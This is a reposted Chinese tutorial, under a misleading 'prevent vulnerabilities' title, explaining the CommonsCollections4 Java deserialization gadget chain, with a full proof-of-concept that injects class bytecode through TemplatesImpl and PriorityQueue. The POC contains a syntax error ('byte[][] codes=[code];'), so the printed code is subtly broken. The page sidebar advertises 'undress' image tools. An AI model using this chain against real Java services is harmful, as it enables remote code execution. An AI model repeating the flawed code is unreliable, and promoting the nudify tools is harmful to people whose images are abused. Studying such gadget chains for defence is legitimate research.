search
HomeJavajavaTutorialHow to implement CommonsCollections4 in Java security to prevent vulnerabilities?

    引子

    CC4简单来说就是CC3前半部分和CC2后半部分拼接组成的,对于其利用的限制条件与CC2一致,一样需要在commons-collections-4.0版本使用,原因是TransformingComparator类在3.1-3.2.1版本中还没有实现Serializable接口,无法被反序列化。

    PriorityQueue

    PriorityQueue是一个优先队列,作用是用来排序,重点在于每次排序都要触发传入的比较器comparator的compare()方法 在CC2中,此类用于调用PriorityQueue重写的readObject来作为触发入口

    PriorityQueue中的readObject间接调用了compare() 而compare()最终调用了transform()

    readobject()方法

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();
        // Read in (and discard) array length
        s.readInt();
        queue = new Object[size];
        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();
        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

    重写了该方法并在最后调用了heapify()方法,我们跟进一下:

    private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

    这里的话需要长度等于2才能进入for循环,我们要怎样改变长度呢。

    这里用到的是该类的add方法,将指定的元素插入此优先级队列。

    heapify()调用了siftdown()方法

    继续跟进:

    private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

    可以看到判断条件

     if (comparator != null)

    调用了

    siftDownUsingComparator(k, x);

    在siftDownUsingComparator()又调用了 comparator.compare()。

    TransformingComparator

    可以看到该类在CC3的版本中不能反序列化,在CC4的版本中便可以了。

    TransformingComparator是一个修饰器,和CC1中的ChainedTransformer类似。

    TransformingComparator里面存在compare方法,当我们调用时就会调用传入transformer对象的transform方法具体实现是this.transformer在传入ChainedTransformer后,会调用ChainedTransformer#transform反射链。

    问题

    1.就像刚才heapify里面所说的

    private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

    我们要进入循环要修改值,通过add方法。

    priorityQueue.add(1);
    priorityQueue.add(2);

    2.initialCapacity的值要大于1

    3.comparator != null

    4.通过反射来修改值防止在反序列化前调用,就如之前的链一样,我们到利用时再用反射修改参数。

    类似这个样子:

    Class c=transformingComparator.getClass();
            Field transformField=c.getDeclaredField("transformer");
            transformField.setAccessible(true);
            transformField.set(transformingComparator,chainedTransformer);

    我们先放置个反序列化前不会执行这条链的随便一个参数:

    TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));

    POC

    package ysoserial;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import javassist.convert.TransformWriteField;
    import org.apache.commons.collections4.Transformer;
    import org.apache.commons.collections4.comparators.TransformingComparator;
    import org.apache.commons.collections4.functors.ChainedTransformer;
    import org.apache.commons.collections4.functors.ConstantTransformer;
    import org.apache.commons.collections4.functors.InstantiateTransformer;
    import org.apache.commons.collections4.functors.InvokerTransformer;
    import org.apache.commons.collections4.map.LazyMap;
    import org.apache.xalan.xsltc.trax.TrAXFilter;
    import javax.xml.crypto.dsig.Transform;
    import javax.xml.transform.Templates;
    import java.io.*;
    import java.lang.reflect.*;
    import java.nio.file.Files;
    import java.nio.file.Paths;
    import java.util.HashMap;
    import java.util.Map;
    import java.util.PriorityQueue;
    public class cc4 {
        public static void main(String[] args) throws Exception {
            TemplatesImpl templates=new TemplatesImpl();
            Class tc=templates.getClass();
            Field nameField=tc.getDeclaredField("_name");
            nameField.setAccessible(true);
            nameField.set(templates,"XINO");
            Field bytecodesField=tc.getDeclaredField("_bytecodes");
            bytecodesField.setAccessible(true);
            byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class"));
            byte[][] codes=[code];
            bytecodesField.set(templates,codes);
            Field tfactoryField=tc.getDeclaredField("_tfactory");
            tfactoryField.setAccessible(true);
            tfactoryField.set(templates,new TransformerFactoryImpl());
            InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
            //
            Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
            };
            ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
            TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));
            PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
            priorityQueue.add(1);
            priorityQueue.add(2);
            Class c=transformingComparator.getClass();
            Field transformField=c.getDeclaredField("transformer");
            transformField.setAccessible(true);
            transformField.set(transformingComparator,chainedTransformer);
            serialize(priorityQueue);
            unserialize("ser.bin");
        }
        public static void serialize(Object obj) throws Exception{
            ObjectOutputStream oss=new ObjectOutputStream(new FileOutputStream("ser.bin"));
            oss.writeObject(obj);
        }
        public static void unserialize(Object obj) throws Exception{
            ObjectInputStream oss=new ObjectInputStream(new FileInputStream("ser.bin"));
            oss.readObject();
        }
    }

    The above is the detailed content of How to implement CommonsCollections4 in Java security to prevent vulnerabilities?. For more information, please follow other related articles on the PHP Chinese website!

    Statement
    This article is reproduced at:亿速云. If there is any infringement, please contact admin@php.cn delete
    What are some strategies for mitigating platform-specific issues in Java applications?What are some strategies for mitigating platform-specific issues in Java applications?May 01, 2025 am 12:20 AM

    How does Java alleviate platform-specific problems? Java implements platform-independent through JVM and standard libraries. 1) Use bytecode and JVM to abstract the operating system differences; 2) The standard library provides cross-platform APIs, such as Paths class processing file paths, and Charset class processing character encoding; 3) Use configuration files and multi-platform testing in actual projects for optimization and debugging.

    What is the relationship between Java's platform independence and microservices architecture?What is the relationship between Java's platform independence and microservices architecture?May 01, 2025 am 12:16 AM

    Java'splatformindependenceenhancesmicroservicesarchitecturebyofferingdeploymentflexibility,consistency,scalability,andportability.1)DeploymentflexibilityallowsmicroservicestorunonanyplatformwithaJVM.2)Consistencyacrossservicessimplifiesdevelopmentand

    How does GraalVM relate to Java's platform independence goals?How does GraalVM relate to Java's platform independence goals?May 01, 2025 am 12:14 AM

    GraalVM enhances Java's platform independence in three ways: 1. Cross-language interoperability, allowing Java to seamlessly interoperate with other languages; 2. Independent runtime environment, compile Java programs into local executable files through GraalVMNativeImage; 3. Performance optimization, Graal compiler generates efficient machine code to improve the performance and consistency of Java programs.

    How do you test Java applications for platform compatibility?How do you test Java applications for platform compatibility?May 01, 2025 am 12:09 AM

    ToeffectivelytestJavaapplicationsforplatformcompatibility,followthesesteps:1)SetupautomatedtestingacrossmultipleplatformsusingCItoolslikeJenkinsorGitHubActions.2)ConductmanualtestingonrealhardwaretocatchissuesnotfoundinCIenvironments.3)Checkcross-pla

    What is the role of the Java compiler (javac) in achieving platform independence?What is the role of the Java compiler (javac) in achieving platform independence?May 01, 2025 am 12:06 AM

    The Java compiler realizes Java's platform independence by converting source code into platform-independent bytecode, allowing Java programs to run on any operating system with JVM installed.

    What are the advantages of using bytecode over native code for platform independence?What are the advantages of using bytecode over native code for platform independence?Apr 30, 2025 am 12:24 AM

    Bytecodeachievesplatformindependencebybeingexecutedbyavirtualmachine(VM),allowingcodetorunonanyplatformwiththeappropriateVM.Forexample,JavabytecodecanrunonanydevicewithaJVM,enabling"writeonce,runanywhere"functionality.Whilebytecodeoffersenh

    Is Java truly 100% platform-independent? Why or why not?Is Java truly 100% platform-independent? Why or why not?Apr 30, 2025 am 12:18 AM

    Java cannot achieve 100% platform independence, but its platform independence is implemented through JVM and bytecode to ensure that the code runs on different platforms. Specific implementations include: 1. Compilation into bytecode; 2. Interpretation and execution of JVM; 3. Consistency of the standard library. However, JVM implementation differences, operating system and hardware differences, and compatibility of third-party libraries may affect its platform independence.

    How does Java's platform independence support code maintainability?How does Java's platform independence support code maintainability?Apr 30, 2025 am 12:15 AM

    Java realizes platform independence through "write once, run everywhere" and improves code maintainability: 1. High code reuse and reduces duplicate development; 2. Low maintenance cost, only one modification is required; 3. High team collaboration efficiency is high, convenient for knowledge sharing.

    See all articles

    Hot AI Tools

    Undresser.AI Undress

    Undresser.AI Undress

    AI-powered app for creating realistic nude photos

    AI Clothes Remover

    AI Clothes Remover

    Online AI tool for removing clothes from photos.

    Undress AI Tool

    Undress AI Tool

    Undress images for free

    Clothoff.io

    Clothoff.io

    AI clothes remover

    Video Face Swap

    Video Face Swap

    Swap faces in any video effortlessly with our completely free AI face swap tool!

    Hot Tools

    VSCode Windows 64-bit Download

    VSCode Windows 64-bit Download

    A free and powerful IDE editor launched by Microsoft

    SecLists

    SecLists

    SecLists is the ultimate security tester's companion. It is a collection of various types of lists that are frequently used during security assessments, all in one place. SecLists helps make security testing more efficient and productive by conveniently providing all the lists a security tester might need. List types include usernames, passwords, URLs, fuzzing payloads, sensitive data patterns, web shells, and more. The tester can simply pull this repository onto a new test machine and he will have access to every type of list he needs.

    DVWA

    DVWA

    Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is very vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, to help web developers better understand the process of securing web applications, and to help teachers/students teach/learn in a classroom environment Web application security. The goal of DVWA is to practice some of the most common web vulnerabilities through a simple and straightforward interface, with varying degrees of difficulty. Please note that this software

    SublimeText3 Chinese version

    SublimeText3 Chinese version

    Chinese version, very easy to use

    Safe Exam Browser

    Safe Exam Browser

    Safe Exam Browser is a secure browser environment for taking online exams securely. This software turns any computer into a secure workstation. It controls access to any utility and prevents students from using unauthorized resources.